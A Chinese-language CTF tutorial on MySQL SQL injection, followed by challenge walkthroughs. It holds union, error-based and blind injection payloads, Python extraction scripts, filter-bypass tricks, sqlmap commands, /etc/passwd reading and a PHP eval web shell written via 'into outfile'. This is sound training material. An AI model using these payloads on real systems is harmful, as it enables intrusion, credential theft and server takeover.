SQL注入的做题步骤
1.判断数字型还是字符型
数字型:
select * from table where id=$id;
字符型:
select * from table where id='$id'; # 一般是单引号闭合,也有可能是双引号,又或者是')、")、'))等等都有可能
可以用and 1=1和and 1=2作为判断
如果是字符型:and 1=1 和 and 1=2都会正常显示
如果是数字型:and 1=1 会正常显示,但是 and 1=2不会正常显示
2.先用万能密码试一下
万能密码有很多种形式:
' or 1=1 --+ ## 字符型
' or '1'='1 ## 字符型
or 1=1 ## 数字型
3.如果可以回显的话,就可以打一套组合拳
# 以数字型为例
## 使用order by查询字段个数
?id=1 order by 4
## 使用union select,上一步已经知道字段个数,union select 1,2,3,.....(字段个数是多少个就写到几)
?id=-1 union select 1,2,3 // 用-1就可以知道知道具体回显的是1还是2还是3
## 爆库名
?id=-1 union select 1,2,database() //有时还要查询以下数据库的版本,因为只有mysql5.0以上的版本有information_schema数据库,才可以用接下来的一套:version()
## 爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
## 爆列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
## 爆敏感信息
?id=-1 union select 1,2,group_concat(id,username,password) from users
4.报错注入的话,也可以打一套组合拳
# 以字符型为例,闭合方式是单引号
## 爆库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
## 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
## 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
## 爆敏感信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))--+
- 使用前提:在mysql(大于5.1版本)中添加了对XML文档进行查询和修改的函数,updatexm()和extracvalue();而显示错误则需要在开发程序中采用print_r mysql_error()函数,将mysql错误信息输出。
- 即后台没有屏蔽数据库的报错信息,且报错信息会返回到前端
5.堆叠注入
堆叠查询可以执行任意的sql语句。但在Mysql中,需要使用mysql_multi_query()函数才可以进行多条sql语句同时执行。
6.盲注
6.1基于时间的盲注(也叫延时注入,用的最多,不用考虑回显)
//判断闭合方式,如果正确执行了sleep表示闭合方式正确
1' and if(1=1,sleep(5),1)--+
// 判断长度
1' and if(length(database())=8,sleep(5),1)--+
// 爆库名
1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
// 爆表名
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
// 爆字段
1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
// 爆敏感信息
1' and if(ascii(substr((select group_concat(password) from users),1,1))=68,sleep(5),1)--+
其中的函数:
- if(条件,1,sleep(10)) 函数:当条件为真,则执行sleep(5),页面延迟5秒,否则不延迟
- ascii()函数:将指定字符串进行acii编码
- substr()函数:截取字符串,第2个参数是开始截取的位置(从1开始),第3个参数是截取的长度。与它用法相同的还有mid()函数
题目中遇到需要盲注的时候,可以用python脚本或者是用sqlmap
# python脚本
import time
import requests
url='http://sqli-labs.com/Less-9/?id=1'
# 单引号闭合
## 爆库名
payload1="' and if(ascii(substr(database(),{},1))={},sleep(5),1)--+"
## 爆表名
payload2="1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(5),1)--+"
## 爆字段名
payload3="1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={},sleep(5),1)--+"
## 爆敏感信息
payload4="1' and if(ascii(substr((select group_concat(password) from users),{},1))={},sleep(5),1)--+"
flag=""
for i in range(1,50):
for j in range(33,127):
final_url=url+payload2.format(i,j)
t1=time.time()
response=requests.get(final_url) # get请求
t2=time.time()
if t2-t1>5:
flag+=chr(j)
print(flag)
break
print(flag)
6.2基于布尔的盲注(需要观察页面的细微变化)
//判断闭合方式,在没有报错信息的情况下,页面在正确和错误时有细微的变化
1'
// 判断长度
1' and length(database())=8--+
// 爆库名
1' and ascii(substr(database(),1,1))=115--+
// 爆表名
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
// 爆字段
1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
// 爆敏感信息
1' and ascii(substr((select group_concat(password) from users),1,1))=68--+
# python脚本
import requests
url='http://sqli-labs.com/Less-8/?id=1'
# 单引号闭合
## 爆库名
payload1="1' and ascii(substr(database(),{},1))={}--+"
## 爆表名
payload2="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}--+"
## 爆字段名
payload3="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={}--+"
## 爆敏感信息
payload4="1' and ascii(substr((select group_concat(password) from users),{},1))={}--+"
flag=""
for i in range(1,50):
for j in range(33,127):
final_url=url+payload1.format(i,j)
response=requests.get(final_url) # get请求
if "You are in" in response.text:
flag+=chr(j)
print(flag)
break
print(flag)
7.读取敏感文件和写入一句话木马
7.1select into outfile 写一句话木马
利用条件:
1.知道网站的绝对路径
2.secure_file_priv不能为null(在mysql中执行show variables like 'secu%';可以知道)
3.具有写入文件的权限
-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"
7.2利用load_file读取敏感文件
-1 union select 1,load_file('/etc/passwd')
MySQL的一些基础知识
在mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。在这个数据库中,有一些比较重要的表可以帮助解题。
tables表
用于存放MySQL中所有数据库表的名字,有两个字段名:table_name(显示表的名字)、table_schema(表所属数据库的名字)
columns表
用于存放MySQL中所有数据库字段的名字,有三个字段:column_name(字段名字)、table_name(字段所属表的名字)、table_schema(字段所属表所属数据库名字)
schemata表
用于存放所有数据库的的名字。
select group_concat(schema_name) from information_schema.schemata;
其他查询语句
除了select查询语句以外,还有其他不太常见的查询语句,在select被过滤之后可以用:
show databases; # 显示所有的数据库
show tables; # 显示当前数据库的所有表
show tables from db_name; # 显示指定数据库的所有表
show columns from table_name; # 显示指定表的字段名
handler基础语句:(一次读取一行)
handler table_name open; # 打开一个指定表名的句柄
handler table_name read first; # 获取第一行
handler table_name read next; # 获取下一行
handler table_name read prev; # 获取上一行
handler table_name read last; # 获取最后一行
handler table_name close; # 打开一个指定表名的句柄
预处理语句
预处理语句用于执行多个相同的SQL语句,这样就不用每次输入,减少编译次数,提高运行效率。Mysql官方将prepare、execute、deallocate统称为prepare statement。
比如:
set @b=concat("sele","ct","* from `1919810931114514`");
prepare dump from @b;
execute dump;
一些绕过姿势
这些绕过方式在遇到其他waf也是同样适用的。
- 大小写绕过
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。
如:sElEct
- 双写绕过
是因为过滤时只进行了一次替换,将关键字替换为空
如:ununionion、selselectect
- 编码绕过
可以利用URL编码、十六进制编码、Unicode编码、ASCII编码绕过
- 内联注释绕过
将语句放在/*!...*/中,只有在MySQL中会执行
如:/*!select*/ * from admin
- 多个注释符等效替换
--+、#、/*...*/
用 or '1'=' 闭合单引号
- 过滤and和or
除了上面的大小写、双写,还有&&和||
- 过滤空格
编码:%20(URL编码、%09(Tab键,水平、%0a(新建一行)、%0c(新的一页)、%0d(return功能)、%0b(Tab键,垂直)、%a0
用括号包裹、/**/代替空格、`(Tab键上面的)
- 过滤等号
like:不加通配符的时候执行效果和 = 一致
rlike:不加通配符的时候和 = 一致
!<>:<>等价于!=,前面加一个!就是等号
sqlmap的使用
sqlmap的参数和使用命令非常多,只能先记一些基础的,要用的时候再去查,再去积累。
# get请求的基础命令: --batch是使用默认回复,不询问用户
sqlmap -u "目标网址/?id=1" --batch --dbs // 探测数据库
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 --tables //探测表名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 --columns //探测字段名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 -C username,password --dump //探测字段值
# post请求:用sqlmap有3种
1.
sqlmap -r 文件路径 -p id --dbs// 用bp抓包后,保存请求包为文件。在有多个参数的时候,用-p指定参数
2.
sqlmap -u "目标网址" --forms --dbs
3.
sqlmap -u "目标网址" --data="id=1" --dbs
# 其他进阶命令和参数
sqlmap -u "目标网址/?id=1" --technique=S // --technique:使用的 SQL 注入技术,当知道可以用什么注入技术的时候,可以指定,有BEUSTQ,S是堆叠注入
# 读取敏感文件
sqlmap -u "目标网址/?id=1" --batch --file-read='/etc/passwd' //会将结果存放在指定路径下(路径会有提示)
# 上传一句话木马
sqlmap -u "目标网址/?id=1" --batch --file-write='木马所在路径' --file-dest='靶机存放木马文件的路径'
# 更新sqlmap
sqlmap --update
CTF实例
XCTF-inget(万能密码)
1.用万能密码尝试
// 用以下payload可以得到flag
?id=1' or '1=1
?id=1' or 1=1--+
?id=1' or 1=1%23 //不能直接用#,会被浏览器当作URL的书签
?id=1' or '1'='1
?id=' or ''='
原理:
因为是字符型,所以第一个单引号是闭合'$id',后面的是为了让永真条件成立,用原本的单引号闭合或者直接注释掉
2.或者用sqlmap,然后后面跟参数即可
sqlmap -u "http://61.147.171.105:52454/?id=1"
BUUCTF-极客大挑战2019-LoveSQL(回显)
1.表单输入,随便输入然后用bp抓包,可以看到是字符型,且单引号闭合。这题没有任何的过滤,可以自己手动注入
数据库名:geek
表名:geekuser,l0ve1ysq1
l0ve1ysq1列名:id,username,password
BUUCTF-极客大挑战2019-HardSQL(报错注入)
1.使用bp进行fuzz测试,可以发现过滤了很多关键词
什么是fuzz模糊测试?
它是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。
在ctf中,使用方法为:先手工测试几个符号,大概看看有哪个被过滤掉了,然后在模糊测试时,只要和你刚测试的length一样长的,就都是被过滤的。
2.尝试报错注入:过滤了and、&&、||,改用or;过滤了=,改用like;还过滤了空格,可以用括号包裹
payload1:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
payload2:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
payload3:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
payload4:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
数据库名:geek
表名:H4rDsq1
H4rDsq1列名:id,username,password
3.到第四个payload时,发现flag无法完全显示,可以用right函数
right函数:从右边截取指定长度的字符串
left函数:从左边截取
payload5:
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
BUUCTF-强网杯2019随便注(堆叠注入)
1.用万能密码尝试,发现会显示所有结果。
2.尝试用回显的时候,order by没有被过滤,但是union和select都被过滤了。用的是preg_match/i,双写和大小写都不能绕过;尝试用了URL编码好像也不行
3.select被过滤,可以尝试show语句+堆叠注入
payload1:
-1';show databases;
payload2:
-1';use supersqli;show tables;
payload3:
-1';show columns from `1919810931114514` from supersqli;# 字符串为表名操作时要加反引号
数据库:supersqli
表:1919810931114514、words(开始输入1时返回的数据就是words里面的)
1919810931114514表字段:flag
4.最后用handler语句查询表中数据
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
payload4:
-1';handler `1919810931114514` open as p;handler p read first;
5.这题用不了预处理语句,因为使用strstr函数去匹配set和prepare关键字
BUUCTF-极客大挑战2019-BabySQL(绕过姿势)
1.这道题尝试使用万能密码的时候,可以发现or和and都被过滤了。用大小写无法绕过,但是双写可以。
2.然后尝试用回显,order by没法用,因为or和by被过滤了,尝试用union select(记得双写),发现2和3可以回显
3.然后接着爆库,记得information_schema里的or双写,发现from和where也被过滤,也是双写绕过。爆字段名的时候and被过滤,用&&即可绕过,最后password中的or也要双写
payload1:
' uniunionon selselectect 1,2,database()#
payload2:
' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()#
payload3:
' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database()&&table_name='b4bsql'#
payload4:
' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#
数据库:geek
版本:10.3.18-MariaDB
表:b4bsql,geekuser
b4bsql字段:id,username,password
BugKu-成绩查询(post请求)
1.用bp抓包,没有任何过滤,直接回显一套组合拳就可以得到flag
数据库:skctf
版本:5.1.73
表:fl4g,sc
字段名:skctf_flag
2.用sqlmap也可以,bp抓包将请求包保存1.txt
payload1:
sqlmap -r 1.txt --dbs
或者:sqlmap -u http://114.67.175.224:10035/ --forms --dbs ## 全部回车默认选项即可
或者:sqlmap -u http://114.67.175.224:10035/ --data="id=1" --dbs
payload2:
sqlmap -r 1.txt -D skctf --tables
payload3:
sqlmap -r 1.txt -D skctf -T fl4g --columns
payload4:
sqlmap -r 1.txt -D skctf -T fl4g -C skctf_flag --dump
BUUCTF-CISCN2019 华北赛区 Day2 Web1-Hack World(布尔盲注)
1.尝试输入1和2有内容,其他没有,尝试输入1abc的时候返回bool(false),是数字型。尝试用万能密码的时候会返回SQL Injection Checked.,说明被过滤了。用bp的fuzz测试一下,发现过滤了很多
2.题目提示了flag在flag表中,字段名也为flag,所以直接用python脚本爆破flag。好像这题用不了sqlmap,试了很多次还是不行。
import requests
# post请求
url="http://62d5a90a-a54f-41ae-9659-5d363a1ef7d5.node5.buuoj.cn:81/index.php"
payload1="(ascii(substr(database(),{},1))={})" ## 数据库名 ctftraining
payload2="(ascii(substr((select(flag)from(flag)),{},1))={})" ## 没用group_concat因为过滤group关键字
flag=""
for i in range(1,50):
for j in range(33,127):
payload=payload2.format(i,j)
data={
"id":payload
}
response=requests.post(url,data=data)
if "Hello, glzjin wants a girlfriend." in response.text:
flag+=chr(j)
print(flag)
break
print(flag)## flag{9b46b4b5-8fba-4075-89385794f31}
青少年CTF练习平台-文章管理系统(读取敏感文件或写入木马)
1.用1 and 1=2测试发现是数字型,然后用万能密码尝试,发现了一个假的flag。
2.这道题没有过滤,但是不是在数据库中找flag,可以用sqlmap读取敏感文件,或者写入木马用蚁剑连接都可以得到flag。
payload1:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-read="/flag" ## 这次flag文件名刚好是flag
payload2:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-write="1.php" --file-dest="/var/www/html/test.php"
payload3:
-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"